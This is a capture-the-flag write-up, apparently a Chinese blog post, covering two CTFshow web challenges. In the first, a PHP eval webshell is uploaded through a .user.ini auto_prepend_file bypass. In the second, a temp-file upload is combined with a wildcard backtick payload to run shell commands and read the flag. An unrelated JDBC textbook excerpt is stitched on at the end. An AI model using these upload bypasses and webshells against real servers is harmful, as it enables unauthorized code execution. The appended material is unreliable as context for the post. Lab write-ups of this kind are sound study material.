CTFSHOW-WEB详解

一、WEB13–文件上传

  开始的界面就是文件上传,确定方向为文件上传漏洞分析,尝试上传文件,我上传的第一个文件是一个文本文件很小只有9个字节,就上传成功了直接,还以为会按往常一样出现绝对路径又或者提示只能上传别的格式文件,然后我们通过绕过,接着使用蚁剑连接直接看文件拿到flag。

  然而。。。。。。
  简单的信息泄露例子,看完绝对不亏.
  事情没有我们想的那么简单,我上传一个webshell的时候,发现内容超过了大小,又试了几次发现还是不行,寻思着看个源码呗,源码也没有,这题目不会一点提示都不给吧!思来想去,可能是文件泄露,试了一下upload.php.bak,果然代码放在里面。
在这里插入图片描述
  总结一下文件内容,文件大小不能超过24,文件名不能超过9,后缀名不能超过3且不能为php(防止挂马)。没有php且不能超过3,把我们常规的绕过基本封死,既然如此我们就要我们就试试.hataccess和user.ini文件。


1.创建一个1.txt

echo "<?php eval($_GET[b]);" > 1.txt


2.创建一个.user.ini文件

vi .user.ini


3.在文件里面里写入auto_ prepend_ file=1.txt
auto_ prepend_ file 意味这是在php脚本执行前会执行这个参数设置的脚本,然后这个参数的脚本所在目录受include_ path限制。此时任意一个页面都会将该文件中的内容包含进去。这样在该目录下的所有文件都会包含1.txt的内容。


4.开始文件上传
以上的文件都符合所有的要求,都是可以上传的,我们这里先上传.user.ini,再上传1.txt文件。
本来想着直接上antSword,但是按照各位博主也是无法查看文件,那就只能利用网页直接读取文件。


5.用glob()和print_r()打印出文件名,当前文件的目录的文件名。

/?b=print_r(glob("*"));

在这里插入图片描述


附加.glob()和highlight_file()讲解[好像也可以使用show_source]
在这里插入图片描述在这里插入图片描述

6.直接读取文件,拿到flag。

/?b=highlight_file("9*.php ");

在这里插入图片描述

二、WEB-红包题第二弹

  这道题开始是真的看不懂为什么要这样后面各种查找资料才懂了一点。
  下面就给大家讲讲知识点。Content-type和Content-Disposition不是特别懂。
題目:
在这里插入图片描述
在这里插入图片描述
  一般我们的文件上传都会放到 /temp/php??????,一般后面的6个字符是随机生成的有大小写,?可以代表1个任意字符,也算是一种通配符,而*能代表很多个,当然glob通配符还有很多很多,读了绝对不亏之通配符.上传完毕后然后再决定删不删除之类的操作,所以我们就需要通过这一步骤,上传文件并且执行sh脚本语句,来查看该目录是否用有重要的内容。

  1.开始抓包,然后构造Poc命令
为什么这里为什么是用 /?cmd=?><?=`.+/??p/p?p???'呢?我们来看RCE中命令的执行方式:system(‘ls’);  echo(‘ls’);
  有这两种,但是这里题目都进行看过滤所以我们得尝试绕过过滤,进行突破,构造?> 是为了闭合之前的语句;<?= 就是echo的意思。. 即source的意思,表示命令的执行,Linux中C程序运行不就是用的这个吗?;+ 表示过滤空格等于%20;执行完毕。

  2.构造文件上传的报文包
具体该包含哪些我也不是很懂,我就讲讲为什么是#!bin/sh,首先#!是启动bin文件中的命令的意思,bin(binary)主要存放着系统常用的命令,比如 cat more ls less 等等,可以执行这些命令后我们就可以在一下行,直接远程命令执行。

#!bin/sh

ls

执行ls,返包就可以看到一个flag文件,然后cat /flag.txt返包即可拿到flag。
读了绝对不亏之 无字母数字webshell之提高篇.

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Java-Web程序设计实战-第8章-JDBC详解全文共86页,当前为第1页。 2 Java-Web程序设计实战-第8章-JDBC详解全文共86页,当前为第2页。 3 Java-Web程序设计实战-第8章-JDBC详解全文共86页,当前为第3页。 JDBC是一个相对"低级"的接口,也就是说,它能够直接调用SQL命令。在这方面它的功能极佳,数据库连接API易于使用,但它同时也被设计为一种基础接口,在它之上可以建立高级接口和工具。高级接口是"对用户友好的"接口,它使用的是一种更易理解和更为方便的API。 在关系数据库的"对象/关系"映射中,表中的每行对应于类的一个实例,而每列的值对应于该实例的一个属性。于是,程序员可直接对Java对象进行操作;存取数据所需的SQL调用将在"掩盖下"自动生成。此外还可提供更复杂的映射,例如将多个表中的行结合进一个Java类中。 随着人们对JDBC兴趣的提高,程序员也一直在编写力图使最终用户对数据库的访问变得更为简单的应用程序。例如应用程序可提供一个选择数据库任务的菜单,任务被选定后,应用程序将给出提示及空白以填写执行选定任务所需的信息,信息输入应用程序后将自动调用所需的SQL命令。在这样一种程序的协助下,即使用户根本不懂SQL的语法,也可以执行数据库任务。 4 Java-Web程序设计实战-第8章-JDBC详解全文共86页,当前为第4页。 8.1.1 JDBC驱动类型 8.1.2 JDBC的常用接口和类 8.1.3 JDBC编程的基本步骤 5 Java-Web程序设计实战-第8章-JDBC详解全文共86页,当前为第5页。 JDBC是应用程序编程接口,描述了一套访问关系数据库的标准Java类库,并且还为数据库厂商提供了一个标准的体系结构,让厂商可以为自己的数据库产品提供JDBC驱动程序,这些驱动程序可以用Java应用程序直接访问厂商的数据产品,从而提高Java程序访问数据库的效率。 Java程序的JDBC可以分为如下四种驱动类型: 1)JDBC-ODBC桥 ODBC是微软公司开放服务结构(WOSA,Windows Open Services Architecture)中有关数据库的一个组成部分,它建立了一组规范,并提供了一组对数据库访问的标准API(应用程序编程接口)。这些API利用SQL来完成其大部分任务。ODBC本身也提供了对SQL语言的支持,用户可以直接将SQL语句送给ODBC,因为ODBC推出的时间要比JDBC早,所以大部分数据库都支持通过ODBC来访问。 SUN公司提供了JDBC-ODBC这个驱动来支持像Microsoft Access之类的数据库,JDBC API通过调用JDBC-ODBC桥JDBC-ODBC调用了ODBC API从而达到访问数据库的ODBC层,这种方式经过了多层调用效率比较低,用这种方式访问数据库,需要客户的机器上具有JDBC-ODBC驱动,ODBC驱动和相应的数据库的本地API。 6 Java-Web程序设计实战-第8章-JDBC详解全文共86页,当前为第6页。 2)本地API驱动 本地API驱动直接把JDBC调用转变为数据库的标准调用,然后再去访问数据库,这种方法需要本地数据库驱动代码。本地API驱动比JDBC-ODBC的执行效率更高,但是它仍然需要在客户端加载数据库厂商提供的代码库,这样就不适合基于internet的应用。并且,他的执行效率比三代和四代的JDBC驱动还是不够高。 3)网络协议驱动 这种驱动实际上是根据我们熟悉的三层结构建立的。JDBC先把对数据库的访问请求传递给网络上的中间件服务器,中间件服务器再把请求翻译为符合数据库规范的调用,再把这种调用传给数据库服务器。如果中间件服务器也是用Java开法的,那么在在中间层也可以使用一代、二代JDBC驱动程序作为访问数据库的方法,由此构成了一个"网络协议驱动—中间件服务器—数据库Server"的三层模型,由于这种驱动是基于Server的,所以它不需要在客户端加载数据库厂商提供的代码库。而且它在执行效率和可升级性方面是比较好的,因为大部分功能实现都在Server端,所以这种驱动可以设计的很小,可以非常快速的加载到内存中。但是这种驱动在中间件中仍然需要有配置数据库的驱动程序,并且由于多了一个中间层传递数据,它的执行效率还不是最好。 7 Java-Web程序设计实战-第8章-JDBC详解全文共86页,当前为第7页。 4)本地协议驱动 这种驱动直接把JDBC调用转换为符合相关数据库系统规范的请求,由于四代驱动写的应用可以直接和数据库服务器通讯,这种类型的驱动完全由Java实现,对于本地协议驱动的数据库Server来说,由于这种驱动不需要先把JDBC的调用传给ODBC或本地数据库接口或者是中间层服务器,所以它的执行效率是非

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值